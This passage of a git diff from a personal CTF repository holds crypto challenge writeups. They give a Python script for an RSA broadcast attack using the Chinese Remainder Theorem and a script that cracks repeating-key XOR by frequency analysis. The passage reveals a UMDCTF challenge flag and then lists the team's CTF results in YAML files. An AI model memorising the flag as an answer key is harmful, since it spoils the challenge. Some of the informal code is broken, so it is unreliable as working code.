9436761854876433306627763597399692070238506205462150940115203418966762200502586203415737024150693247565846597374076985107078608067784434989425777057774373810506839154537112530446674195829983750513600738963717220154870317091717125245024129581346017108295620661468255509184119122584386951489946934299681562826659408456638909190212653273613441775667379335488571702007546238779715612293204337045838305905755002757932691766531752420604546166293923630269150924240414513531974433446091759930204860773047694390140880794899424705844066930926929018436526386336414229000147530877205767268453813558171251302911705929695813612010 +N1 = 28152734994061465956881372539101874027561990575500482757314894447153307218847609741543382823980739976236658916728997274893025631443277954565174850742332450645083408549368559160031034050230909564218506399818421114654953529271828367396640006892373250911371099282341234741924313888905935939638112780695689888780564279790602144087525195552892258728232529973473079156817662635400655477598522734106570320576041689930387190231483172072407702172114532347645763885068234565589440562913881539320125146332081515224186223652102679064725934864495853101655367885758757955311607715225919087709073311095132974431507498759180948903767 + +C2 = 4593076058237274815529529568336761629133900659539287553894234259467093640361536324021847078003961706949243421935535149609292208178294757500579890086414979763257060158092596743214848122082574927823906565090843784551245682410249044472990856123166366375151498671304541636343515691142353831218949261299772411179393507937810450016231527818003258805556032921207923464858256774608172704770310554906924556972003670659933921112156537651788986402282461884767218012677445166337918434082299219287519407759410482296621043851341564154556420330500851642585185121909767465969736766741376422878805968575696379434075368272983304018014 +N2 = 21600063461879280196410870178375017076110712247034891626041940082151068684386887677457402957891261138942259276566830312901997784853835296670693034266666212925876349513172284079705194031755813580344297385062689437971603801148950165924900554550652237471371482145097819406987634645634018937896458429208395791434589621784211092816471949553892029066927996808073256052798796162896009834612893099377657528361225264269730419481507743910434843238801198952335774170762667335524430283186551699296552084132730977707772758779260479405788898236608233934067239782848658380856859175623243778723002308377258891820426770026877957061401 + +C3 = 11245600133735016365117362829293667603191587730690285779974486645194882744424959213290227322450180662529076053315568995427207311553172148085682922097330773013327493607051129328886026736321277603962465666646709086973805717218896641815021424945902858582179414486473766319702477596700105896410653460076814398382127557878279909337585351500001129127485718821080491584036192356363384636132594993418070895169593657137136061712963281043619927809243389036946471889123504683281523510726002854253439116691279495108731059741869783594241043499774335141622179775010116351725837839832383406040330437437481167589840958372506426763254 +N3 = 22672702745282102663556208336143989832920298743789961776089760335080449379620160950639293014064557548407790426119208318440153482963395149100234235582839783903963665840950610122780566690961442780689303746083065866112924940439088172731161065970873525860696873562729354298204126808095117971036826339112028888876155705514257782096717394626339123979602505600788259754284111563415584026730227259110658536007293428688691459901051554344326419399658074516652677631335537639760903408228657982498911286910747180567639808982517842727582159907418003276234434155647821330026386363122808867597465894075076332347672555352316957100993 + +C4 = 18516643095562398995668533803762774446304146229424940945397187349384298610823892359110958006228600001129102885152760663495347917628128193221417709116053363794455696791642339626510381267602451772319637851400678017312602323268221572284216402284304705562875118581157260529638868631863861924556744287077953642973308093561343164296718793593433291676412073150828602914715131796119179642959314558057344532783034444951882201466376837981878545737529151217710459244142612916832074425230905960356528448080973618288496325370377173564127464954875032695133648932702793798320979455870673870976887781257549746942625941429579741010270 +N4 = 26988607173741115933900822256923659444302125122539278430950988871555189138247392039290413221765360905370227302279189271911132246582152793866517857202617458789817472738485175676870972584407890759810753559735942064886741815093704840217272282510461163773907497740961718806912782824716769167041001551156131343325890477188212317519320453198262687827336271225804969710090921124961291275071394125333805468634112401639488794709795347035536588817682860025551568208767946402532180015525450592932248190526365314570645557370916761103163654280385178751212138486361151092723464915053285719425891702684067432346851328424885796389817 + +C5 = 16234930623218138889526518684550303290091429047673271100215829299347705159552616967052457540686556330850257796531487862146892604233241424080405608322168764812446578135647890637181672523281252106514062225182856565128278422834768952509379755767925162776634061261454662769429539015566733927869639777645591135295724109869149315426407494359252458531359258056538896278380487304943301542518411797193671715244796859595170742003421150573548870249260161780049891845926846370393594256147945196460649806539640794807782473511385208111394606662824268595484598223352000639552739314295731600740144863280284774776364915234378532422109 +N5 = 18612498743007276209546659493407131112236240051060893514783996455601840351697829503889757154552092494969733915079189711091167795711020740880120207438328847016435155873155857986684744304472967291993895316188192205606445873849160210239995838100938173996319911827659211405805740332805840562570477020150887880129004051963216423159236730553725303666254766270936155373170585740388539125357922443860032040325558399663562779860026651798265127930579618176579884945791041434637848074032887703078457700685426810977516538529902945957950332460953595711713649670206742866746312836087704683684172639327711384532163917122017043475877 + +C6 = 662361597004020323701782712405629134497010934935046713820429474087392882151870881580269779655698349077203809779834079610728094208893526514469953878670382023229154398085158420666392458179409076383454051041090065773823342912134394708821426714606725112066614260018104153712414116584976232099178568108923522677243234876392689552224408448854800342693033158352943933707091540142502858273208447362609300610091623736823554566960365496106195585769649933179365087607330651718136517113372689366474528058274490861762901541810571069745503528148677073263197470087641720546960911860537081684666026163064116784227765962684665435982 +N6 = 30060404850981989356325653856062348383713756193049571982180795115405758572066328866157252457185638475358328443402740580231814789935012941678556742646678509473798348783295975798487516948831274145735500413531609114605882806722555801771061437094444324945960298131631787678270453694949716791522344155064835483770979442054736387540607992977313870622344699584492690886555863274012457862969426035109179398123735387873871402552561801825285349152182929097359460801146097907568032122298857009062229978627745650515256704780201968309142333073419629521382227437107434807142577040991888257016958386152315628986290816879489282413133 + +C7 = 16877189941536807680624937491006982389364984630123292991510640852509819950687059857655547882049005691800626523214145336183267178574217107392144208277863207494692576988568388815380109406084674912267381852493041645597743969937001313790953152249672062867424898436689020008649473773734446552936419072324732099093984372784427497361243383748613918125612010160696451170069748277309591783221231376502949560734965565539411991104992650056627499757222765334257768498483120958391408256478739695472783605393727520270518230169573690364163637454017971721446010546561291176925708657955182715705681641592645227715405440345054381766804 +N7 = 23890472526968430781643649369422511096477048017850812199785212846851079971948160327212190956639397428009334690623468952000746298906394075083824476555283992873854805156427247831047078254936356628997857934328952353862056756034901935880639811850074062972819577675616917014397779935280900673822595391689835150987972299140155626876370254348245865807662661459825994105582491086602807655100691252156264648474840756557482803856498880297700589020875287210357401801768179699377323832055287904240286843377972074616307825831398112600358548373313648461163125034061360713897312664213808659399357817506657513131747316086923862575921 + +C8 = 1094004533854571080682481911793872775456831862550751453541585525253550848162878628310075369324016013220755363164488810710986682785732536797402227273635436446326895878828135116384310032410115827815366779577012065584756031151545392420626912356067176078051191500667340289066744738841757008227521550461322879463361883579735662821947790901950956299841908452059735572739519446351759187345595324422124904221779727916615716604180111041938928762500533408492643293551294999986890648571964781055072998989474184668803962567049434698764770410243212576618191749257018943943064370139007581131742011409237697415678239481570866287856 +N8 = 23380350886751802164855055509767690587110532513263747329112120555656644434780631040110038642188151592059929588044414948325211672918053984491507898579097389469206795350731321096122528877702956312243099965033821787352579527297287595471670265642034590044693594308949001846577959893059711155887065700545875905878325946348597308141335309729521701292624206630814051016365852513617153226148240768160609527482624819836390706106701107817845611955696030975432989831656112917337047183328080653349006022409482766999575307249660411151068963350799235192503437567887115119096973492021233078803118656184604578429814105099886663594693 + +C9 = 16246636901773138996814290343353020151457346162998998307405405181601474102892689154884824109748122320746251675232569782773999745712675571041960024418214494332379018131875195778074924128659254816882971443065257997201886303313629437038985747908702444484272461777188521309080387918561819965845652703652896000140332806309467868342173096743522054626380575227900410896175684041018594046730293277704896351684813603954564513450331273930079508805816621325775966947493373833003600147888965694698626738744232709953548700496846363458883560114005451843752399292262623867664649431421570137967781543444221586067817974021120109598921 +N9 = 24030804860101977933476957347819462169894929710541377289906765400595334129288313839541119744743210209415594591444692274924240300327170149009349292674176575089132496112901223906361134689434742740353952863321380465214274744493891860489069840869122541288948326090184993484310060272272740249607426150694223953704293886796662844940040254807059301097413348456402284888962872847705918491916163217571677078719769045989833160857383002167626927308715373093867166535593269035197746899806338542387420584847818088786425143436067234973171215748235370710734803884280088629472846773087477307891755390989172053178851178575250298820231 + +C10 = 15829031034984894323992128834767517105268461988253457682374812623673027379167302368117069435938024253238736977450902258870142461658500448838399131912142418564511589745072992615964601706344887032367962344858971338727451651491855667418347980278696643469308608038951291076607701874519666731715763462323629587003874458565108231781528953352421959421420283784328068711854299008678129337565552708623593606137355854951816336801002428235478295589097771226955476895928987923919036155754408604704446652902092198621246454325920997908044782726666074364774188498010929424209712246401618592597043438325782597704909235885721780938585 +N10 = 29599537988011368844212192807590374714698164905750839331460749915852536597430125629336669800553956214798026782260461278467917464100560938551182795389765460311314334574516888192351951865688138371377605547887686773668293607699325379118605941688095878257558621432317525450992974107005325947018100512684323886977504634164489389759529097967289990281971478014840524344212478178662847560300394278111562185567862459126701109936994197318497527887033886642967402029113278823635743801575598058745194338530662846513386309057705053897618494797627653311712150802667309285170521937793536794113639533431268941243329554139815742737677 + +C11 = 7726447580767850051395947393232957015871261186914935521204941226539403279946836987104987106713538681923679247877609039171452455217280283628257627686094181836565664018167980047361880700563985143808156427571796588019612787485032936095796366297045073487988914217440935409989324071195449332090411594212638071771269875328594616338913923990561081990832918093028204931030723148405335629173144560000101241766110262305574038393183868548669632110581118115668313348766084182632885622250986716312738557635935992351275564122683740688789347070593060029886828754962524559819979014597410645051681579721449730393478838386828782756193 +N11 = 23160408911716067048449307831783899188316884967834642592541006181192104782985076674059719106847459208481873305300285563963876715315002734481314802130066449213720561944302819360619320391084840967517304916250844947272252382402813481440225581938218963811553331757013501777923958744439389304485465487472480664604895423335385581233661672353610925316294720156515188301900654780553045533399970890012708143589417361193460252158297177085454274695930069544409391039578026160939026367678826762268168026574927870114419979476937292129457170700960815344235886278427627323129144277489719511835146521693191800857992683681906057060463 + +C12 = 3110421392685842505144846266631282268053295098925521960856401799081635187244620627511962317103092692861797769711740862146809441701082968199655346148114785353044960204261706156704477680280525335517413885300283681356768732364776678814787653331279774398059985135419606293501757876026564697032592563116607419345000799680180072747731505355792857317756934495355312915963856654485292417587150562503456652804962547527833571408329196111241161902672358558934016819909218544544100308759330697439043043961658962269669936218373997430723761108219918919158999819777410680131038212610058047365690513126420343270070930182951213332361 +N12 = 20826297766792773991432042813957670431345223817606452211375010495765041374773238466489989083679958068411924848929945096975468526050576210955933117642051017166258252165022313640051187458468482381713721607639558251611068325931610690091224091898829025647386335265036210147942677813912859329539094308542499621989928153616794269925652820267880787642652492412537574637386965804834512590032082215626304818892329476095010909105633146962840106301442129458323046886186347065307762199145578311997003927515199164882245718446162723535482644159946917048704065734475134191119967004253241833356928158591978706976978808609605160114343 + +C13 = 8390943140508389256739814272645102341799462269626284302274243524390297822726122608887716845501426604137499661741356123432756804763372800866348993114450495304503724149486726336202074674991507756785723195511191837112079687429825513520969764809403654448946502400253852421512101527273709585678310705642384424427234494842591600578979210455452817994169739275900884192911807766246039233697855664913347196233200995685731101578801234372938715847732368565340345450241464656430162612109852884836710306552016784959142560436674650536312526917952551119250575865330056001997494585696472390087856263437052079823194603093258218032315 +N13 = 24142513829399203744337032082278529892149392333374734878785387788116342156775650901679032814195636034097581073863444071056730682142863541201304448060463918947238444326160167807584244855252210907051224532785395284134047710869100549668551694105592119152615807348056705324432085171908982988460447349047870256487532784630007089096759775748738275809739775471191319754191959489137988544960417032640397233885230232821252220460324764297987308599406706549157002201813624656387142554704561393872767959439334878321277005370025137475432900741289259108489812637314335891018332650784971177022688814839017504940088023479087752366657 + +C14 = 6209081282547983870368051219282171245549364960861980675633382355540769169105793197347236477762961059637300269565381147237616034193917430108795139925967636364383380190218459610550287856068125307199978266267967306356027718053708091670649844345516448912193666974000685902016845576993623261695489523746492319149006152800021134532541792296730229054128919052707148533782171446696406715397779892047722565033779292699150409084533616345278231409758331138621001117036731170918692177643870360655520742622389547453562622623077681239129079868779602064151854979000448541706843536628794597972233343680963444074945624062663929354004 +N14 = 23776181882513550690601531634743164073284453342166345704519844801141073142618240660467120360079075284262721515707988652630867719181782773695754111361600880610207923490423526941874496413059917366031888830927716478633613770796695054249092460649856106415131383725130352773643545477655861692045753819942893450690013582987777725787242527112261270197746283397694168384085877410900827624094441147468840253544884974394282960766934131475386784850857350924290725098436185365628070502054366757627658597326593559426992301840391385263108434216394213417125518102784785342945087361199146728272848144016770827756511774807692384510539 + +C15 = 5221916689882794974968454162648434549352799290703571725132878430184047377788007272592188734863427743538951765405786374395023903677906475772767672866316162112727902124224623419852260456281202870089025838609946275929676723097804620294999060697823067759186878272766619189148120963506709414320655338019391957004477823941246511183201008480433900479842202983116849583441794332842486490635807334219910185335763137052611119516298685935538101593763494427058139474584019699702723783182597913065852418397043122292252986177030963881663178810584856067794681209999945202785490162148784316280203283453254841227209037134306819677190 +N15 = 24012638740159129939481929571517919244193482102926657423549586977800986707566912983228470063462748609708802397606197501129657999242915323054179924194939501230630455236894784362694569222663459637812736515880578615292821397509542756502616448665756388005089798388202261111487003191066639274341662886944057618764840339796913961508758227027133935594471121390932094814732497255104968753334880825784962127128811342508353534374213324121950149762437615254435111683311613585559264982277008709473775380364248318079408235923522973164231043662942280911918791615086422361043374101119966764576351164135236209252955975527220921330643 + +C16 = 1375535819425091520984514312568512177668686493045590476680606897424475697200281314861466675010193552082652074060303700892562278437529863610959170836174377306284764920334362203561850023438995673567796140162888432574493247667044114972944272645404893369815902386090726648159188796152635136091769262801831054754052400935694009077869397350548866318648428388058307017448584443930684506845203763504533880184823693392613533285234752452979679675501143133731300588619315538481057537312603608270842452813537222489841269804142772234481176024467424576429074422173383709337504980075281164764054808013370705416631967205813872287662 +N16 = 26197282883895601445589583453400096292659773869436855122182183673348374665043203695947023933699825914470903397912240958889784238740242660640371455779845984352564743752276719808622258793089780058812165761077914786131545926863093293371095509042010507538066085289915579361944642597749586479487699960047577588584485028527450245395128760261535565455865082515530809728695514453351594706201389691959083955273714218122597670632308130389166059922751573681854747155603879023281343235489071856534763445491836519024465670500669135362767672132299237920012944994268932906903286234242217263758307840505829716040510362506838106182959 + +C17 = 10592334816343085761503848812062568466357112376396205592987527425511397198830546899992815586800091560659524054880247916875551319041954979981251002285250655051566028892610983357050174789916123449596217763370209413469549342580863984878422934423102025473892847578143012589396577843096738843936490809763734987619253708508804449267253235818614588329601759465846637941086706977909172789919432621441108301354202806225408436715559001725625670887575736334600503460576933103638916526789981801262705324700313736379543862358030987556260634241901029238420867333256695415784889983144835477515156951994642577307691514725467214568406 +N17 = 27681698904637578237884734633506568458497694964747581800063953942563466231028688814555875213877549137399347075806146923038464984230501426397157407237404557611465054580474996457321316572841720902697417522886490729877251092972948022293174319291920679796610002883516049669001955904312762452367265809801177813839469552278842008652862426899995020094394188752850201800484655930235664830211283198362892323945649667916209622455803679780525856782193886759064800291886137086642769535355243146943698132913929918760233346840615706144065618130204936679546589196703740966382877899499703491248842134180851349709635330920182429331627 + +C18 = 22529456961902654770399177249358749495827219579008010296418451079568955526535408303587263717112950451538854343798580126595505986134705603978908734118227643123234972906040723803380996813524577395386737831760654970147940604714185248140393568743685047004330527969232913813427076010317775528581246706605912288607142170078866340909101596605707507036289096187550671005524545171162956226749595751016897578242412898009935617099967941350482209554813186859237075016041137191675779941498194827137994045023493326979205590088635876857011293726486992103791422136469572666591203203681865897410156849389410595781948643871038443493160 +N18 = 25994854533114339581577017985330774831732395851486549048522051119474323101656463635661319066580803770611797846429140339911624755800199642304671646276055511130618346609942490462965646329794349515289725839614705529032356572557547999920939735219976346716096422247314537077796030814529837519084320534539684454003795161784803121046876481877555939777497035782992506293096942807035919751266736219546660978873903119929643354834372085890250889872517346751262423893830722423838910847251645600417123399325150121387932803523739475111591257652840696646178722074104182268279651800055597553746550029462485575124269973334103487599541 + +C19 = 5990615864825276990977395066109822405539633680216389626230935330695142627837305503159389328760979853452492200766136041027479325474598745515876806679241535151252048551602203250063337430404045319510633579325443553363381495902986186508818680853693940057245627122038086521362372863900249501567571611749304756450663266989871867323317228351290655447007849504653616655128153114305369225728803259141235704561634764662903043156510976239225406218650411604533182704239036305886697659520049582973044875903250650608032330106631678246613133191755446607148209498512804171927882497791337619029645305965989564544069343326561543483302 +N19 = 22893102514602182481751537220293608110153624062056594483099902253976321847451325943514706715707893891952721749321559110039626880334900231867780557830682578285735092696602292847925086841295031756606719998377561702783561468740480355947248642841379682546475352671584039579696167569783148367648076619574228931217163914637266271554777201652737127593050290385138871337455964461152671167397097184952313601034907450770162236362708726362343130157175332743262164203353213652366899727589724882779991841371963116533403662975436691137493406616408558205292492940878248789584041200573445367200708167911940843899604463070503708437951 + +C20 = 354730322179992569351057392072570155842559988556076760133594481799078063862500700338377205726342041219841852163309654563743316120016334985713689806271704485917876711404372766633019118693043742400220556896485874204258071611965398849084542485006486786226551048885930100522074313289822698415005773468392852665094708691540466213557804187272678046243190015873686490729663924054319308547453785553205785912190676118225920105653577320022469669332532845772113177852800811690261114638168208181169749575480381900672368382355275447464918075092386846579470423607555990095134935514925912622722217960272846321784910875130364709414 +N20 = 18253274074274117116540455011345578423286982966969579717654582859328045161310074319265986538007934226831345699458914289534190421987215620738581623436882089146574777579740398728239620643427700153356425526142005586206594874976734295146295439226280104018077982989041608761886424306740668495785914447834936841183499824037706298774834975984111294477014111460031941070985013519856601410835455861032151505775831019530143841871958264106543332844640591837772600929350851377557407245895611528398531701215173763854360619568503476441120097171646244644812646763527214458027829152541565168934731486914867428429396866974372820881281 + +C21 = 791858034355038282032949913702864439192321699736201364625463338369583896157090094221650849975220136019836808541572939196707741920755693548373387400053110603690255860149144655664937868763525503601945850363504652933481660180909819719359770836971204991855786354983505861446659514915485247816172531481087432992585701448240474614748787781934396549849886223462744221961559551814360848233536683299452678943779633908086234804295895415382117626335026547993578819820873362967333865400308223693690288024398537360213697596507394292060315779141413902392052324253098740607828365773698400280547630756810131339503326974421013047111 +N21 = 18672087913343954860440263116798686154347332037159112449942380500765716982980021070344074084527963310014890434822991693433405944123637343993934120893377694636325771786202785171843371770951353384595365905872878098268657661780978241750736768975001672578522289409444613113285272613829443497225027547276794074752321244614963490511497616746231749610118421385774448036776629195808065326102977707309082482423106422900766563444231920255370850250130753579125265207093895090423737367037798115250051532091484966171495746751084979189916463994548360317125757162903873133088507306407708467583740283191323198210995589235186833903621 + + + + +def chinese_remainder_theorem(items): + # Determine N, the product of all n_i + N = 1 + for a, n in items: + N *= n + + # Find the solution (mod N) + result = 0 + for a, n in items: + m = N // n + r, s, d = extended_gcd(n, m) + if d != 1: + raise "Input not pairwise co-prime" + result += a * s * m + + # Make sure we return the canonical solution. + return result % N + + +def extended_gcd(a, b): + x, y = 0, 1 + lastx, lasty = 1, 0 + + while b: + a, (q, b) = b, divmod(a, b) + x, lastx = lastx - q * x, x + y, lasty = lasty - q * y, y + + return (lastx, lasty, a) + + +def mul_inv(a, b): + b0 = b + x0, x1 = 0, 1 + if b == 1: + return 1 + while a > 1: + q = a // b + a, b = b, a % b + x0, x1 = x1 - q * x0, x0 + if x1 < 0: + x1 += b0 + return x1 + + +def get_value(filename): + with open(filename) as f: + value = f.readline() + return int(value, 16) + +if __name__ == '__main__': + + ciphertexts = [C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14, C15, C16, C17, C18, C19, C20, C21] + + modulus = [N1, N2, N3, N4, N5, N6, N7, N8, N9, N10, N11, N12, N13, N14, N15, N16, N17, N18, N19, N20, N21] + + C = chinese_remainder_theorem(list(zip(ciphertexts, modulus))) + M = int(root(C, EXPONENT)) + + M = hex(M)[2:] + print(unhexlify(M).decode('utf-8')) +``` + + +### vigenere xor + +i searched everywhere for all kinds of vigenere attacks, but none of them really work with how this chall is designed + +so i had to merge the 2 tools together + +the bulk of the chall pretty much match exactly https://osandamalith.com/2015/05/02/breaking-the-vigenere-cipher/ aside from determining the key length which used IC analysis from modified https://github.com/ichantzaras/creamcrackerz (see UMD CTF folder on laptop) after editing consts to a reasonable length (40 since the next key length seems to be 58 which sounds way too long) + +but i couldnt figure out how tf the first tool worked with excel being an ass to use so i just used the excel column splitting macro just in case its different from creamcrackerz and then exported it to csv for me to sort the columns in python + +then i just followed how the blog did the cracking - grab the most frequent bytes, use its HEXor function to grab the key bytes, and finally decrypt + +ey it worked - but only partially since i assume some of the columns have same frequency for multiple bytes and python chose the wrong one when sorting + +either way i can just use plain english knowledge now that we have enough context for it and then xor the ciphertext to get the key that way and then decrypt it again + +and voila `UMDCTF{d1d_y0u_use_k4s!sk1_0r_IoC???}` + +```py +import collections + +columns = [] +with open('Book1.csv') as c: + lines = c.readlines() + columns = [[]] * len(lines[0].split(",")) + for line in lines: + for index, val in enumerate(line.replace('\n', '').split(",")): + if val != '': + columns[index] = columns[index] + [val] + + sortedcolumns = [] + for column in columns: + new_list = [item for items, c in collections.Counter(column).most_common() for item in [items] * c] + sortedcolumns.append(new_list) + +Bytes = [] +for column in sortedcolumns: + Bytes.append(column[0]) + +print(Bytes) + +def HeXOR(a, b): + return "".join(["%x" % (int(x,16) ^ int(y,16)) for (x, y) in zip(a, b)]) + +print("Key of length " + str(len(Bytes)) + ". Key bytes are:\n") +key = b'' +for i in Bytes: + key += bytes([int(HeXOR(i,'20'), 16)]) # Assuming space '0x20' as the most occuring letter + +print(key) + +def decrypt(key, Str): + a = kIdx = 0 + b = 2 + decryptStr = '' + for x in range(len(Str)): + if not b == len(Str): + decryptStr += chr(int('0x'+Str[a:b],0) ^ key[kIdx]) + kIdx = (kIdx + 1) % len(key) + a += 2 + b += 2 + + return decryptStr + +with open('ciphertext.txt') as c: + ct = c.readlines() + pt = decrypt(key, ct[0].replace('\n', '')) + print(pt) + print(pt[29:59]) + + #probably coz theres multiple same frequencies and python picked the wrong one so we use common english knowledge to break it + expstr = 'u even have basic knowlege of' + realkey = b'' + assert len(expstr) == 29 + for index, i in enumerate(bytes.fromhex(ct[0][29*2:29*4])): + realkey += bytes([i ^ ord(expstr[index])]) + print(realkey) + pt = decrypt(realkey, ct[0].replace('\n', '')) + print(pt) +``` \ No newline at end of file diff --git a/ctfs/corctf22.yml b/ctfs/corctf22.yml new file mode 100644 index 0000000..c49b7ff --- /dev/null +++ b/ctfs/corctf22.yml @@ -0,0 +1,34 @@ +#refer to hkcert21.yml for definitions +name: "corCTF 2022" +url: https://ctftime.org/event/1656 + +date: 2022-08-05 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 27 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Microsoft <3 linux" + category: rev + points: 122 + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "msfrob" + category: rev + points: 170 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "turbocrab" + category: rev + points: 154 + solve-count: "?" + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/cryptoverse22.yml b/ctfs/cryptoverse22.yml new file mode 100644 index 0000000..4e4c888 --- /dev/null +++ b/ctfs/cryptoverse22.yml @@ -0,0 +1,66 @@ +#refer to hkcert21.yml for definitions +name: "Cryptoverse CTF 2022" +url: https://ctftime.org/event/1735 + +date: 2022-10-21 +duration: 30 + +type: "Jeopardy" + +organizer: false +rank: 1 +full-clear: true + +team: "Maple Bacon" + +challenges: + - name: "Super Guesser" + category: rev + points: 419 + solve-count: 56 + solve-status: solved + writeup-url: null + - name: "Warmup 4" + category: crypto + points: 387 + solve-count: 73 + solve-status: co-solved + writeup-url: null + - name: "World Cup Predictions" + category: rev + points: 400 + solve-count: 66 + solve-status: sniped + writeup-url: null + - name: "French" + category: rev + points: 383 + solve-count: 75 + solve-status: solved + writeup-url: null + - name: "Baby CUDA" + category: rev + points: 496 + solve-count: 4 + solve-status: solved + writeup-url: null + first-blood: true + - name: "Boost Game" + category: rev + points: 487 + solve-count: 11 + solve-status: solved + writeup-url: null + - name: "My Online Voucher" + category: rev + points: 496 + solve-count: 4 + solve-status: solved + writeup-url: null + - name: "Cheney-on-the-MTA" + category: rev + points: 498 + solve-count: 2 + solve-status: solved + writeup-url: null + first-blood: true \ No newline at end of file diff --git a/ctfs/decompetition.yml b/ctfs/decompetition.yml new file mode 100644 index 0000000..7162de1 --- /dev/null +++ b/ctfs/decompetition.yml @@ -0,0 +1,51 @@ +#refer to hkcert21.yml for definitions +name: "Decompetition v2.0" +url: https://ctftime.org/event/1550/ + +date: 2022-02-11 +duration: 24 + +type: "Special" + +organizer: false +rank: 16 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "baby-c" + category: rev + language: c + points: 200 + match-percentage: 100% + - name: "dublin" + category: rev + language: c + points: 300 + match-percentage: 69% + - name: "malware" + category: rev + language: c + points: 300 + match-percentage: 100% + - name: "rotterdam" + category: rev + language: c + points: 200 + match-percentage: 100% + - name: "leipzig" + category: rev + language: c + points: 200 + match-percentage: 79% + - name: "rumrum" + category: rev + language: cpp + points: 300 + match-percentage: 100% + - name: "daedalus" + category: rev + language: c + points: 400 + match-percentage: 35% \ No newline at end of file diff --git a/ctfs/defconfinals22.yml b/ctfs/defconfinals22.yml new file mode 100644 index 0000000..a3bd3b4 --- /dev/null +++ b/ctfs/defconfinals22.yml @@ -0,0 +1,14 @@ +#refer to hkcert21.yml for definitions +name: "DEF CON 30 CTF" +url: https://ctftime.org/event/1662 + +date: 2022-08-11 +duration: 72 + +type: "A/D" + +organizer: false +rank: 1 +full-clear: false + +team: "Maple Mallard Magistrates" \ No newline at end of file diff --git a/ctfs/defconquals22.yml b/ctfs/defconquals22.yml new file mode 100644 index 0000000..a2c4e69 --- /dev/null +++ b/ctfs/defconquals22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "DEF CON 30 CTF Qualifier" +url: https://ctftime.org/event/1661 + +date: 2022-05-27 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 56 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Hash It" + category: rev + points: 36 + solve-count: 133 + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/dicehope22.yml b/ctfs/dicehope22.yml new file mode 100644 index 0000000..e4a6fe0 --- /dev/null +++ b/ctfs/dicehope22.yml @@ -0,0 +1,46 @@ +#refer to hkcert21.yml for definitions +name: "DiceCTF @ HOPE 2022" +url: https://ctftime.org/event/1706 + +date: 2022-07-22 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 3 +full-clear: false + +team: "MMM" + +challenges: + - name: "sequence" + category: rev + points: 203 + solve-count: 116 + solve-status: solved + writeup-url: null + - name: "check" + category: rev + points: 221 + solve-count: 96 + solve-status: solved + writeup-url: null + - name: "zzz" + category: rev + points: 282 + solve-count: 56 + solve-status: solved + writeup-url: null + - name: "better-llvm" + category: rev + points: 405 + solve-count: 19 + solve-status: solved + writeup-url: null + - name: "arson" + category: misc + points: 420 + solve-count: 16 + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/ductf22.yml b/ctfs/ductf22.yml new file mode 100644 index 0000000..8c6fd57 --- /dev/null +++ b/ctfs/ductf22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "DownUnderCTF 2022" +url: https://ctftime.org/event/1558 + +date: 2022-09-23 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 28 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Slash Flag" + category: rev + points: 471 + solve-count: 46 + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/enowars22.yml b/ctfs/enowars22.yml new file mode 100644 index 0000000..db27585 --- /dev/null +++ b/ctfs/enowars22.yml @@ -0,0 +1,14 @@ +#refer to hkcert21.yml for definitions +name: "ENOWARS 6" +url: https://ctftime.org/event/1695 + +date: 2022-07-16 +duration: 8 + +type: "A/D" + +organizer: false +rank: 22 +full-clear: false + +team: "Maple Bacon" \ No newline at end of file diff --git a/ctfs/faustctf22.yml b/ctfs/faustctf22.yml new file mode 100644 index 0000000..ffeebb0 --- /dev/null +++ b/ctfs/faustctf22.yml @@ -0,0 +1,14 @@ +#refer to hkcert21.yml for definitions +name: "FAUST CTF 2022" +url: https://ctftime.org/event/1598 + +date: 2022-07-09 +duration: 9 + +type: "A/D" + +organizer: false +rank: 13 +full-clear: false + +team: "Maple Bacon" \ No newline at end of file diff --git a/ctfs/gdgalgiers22.yml b/ctfs/gdgalgiers22.yml new file mode 100644 index 0000000..43af79c --- /dev/null +++ b/ctfs/gdgalgiers22.yml @@ -0,0 +1,76 @@ +#refer to hkcert21.yml for definitions +name: "GDG Algiers CTF 2022" +url: https://ctftime.org/event/1745 + +date: 2022-10-07 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 6 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "eXORcist" + category: crypto + points: 50 + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Type it" + category: jail + points: 86 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Type it 2" + category: jail + points: 460 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Impossible challenge" + category: rev + points: 50 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "venomous" + category: jail + points: 500 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "venomous 2" + category: jail + points: 500 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Validator" + category: web + points: 475 + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Garbage Truck" + category: jail + points: 500 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Kevin Higgs: The Revenge" + category: jail + points: 492 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "PY explorer" + category: jail + points: 500 + solve-count: "?" + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/googlectf22.yml b/ctfs/googlectf22.yml new file mode 100644 index 0000000..9bcf16e --- /dev/null +++ b/ctfs/googlectf22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "Google CTF 2022" +url: https://ctftime.org/event/1641 + +date: 2022-07-01 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 3 +full-clear: false + +team: "MMM" + +challenges: + - name: "log4j2" + category: web + points: 218 + solve-count: 43 + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/hacklu22.yml b/ctfs/hacklu22.yml new file mode 100644 index 0000000..895b9ed --- 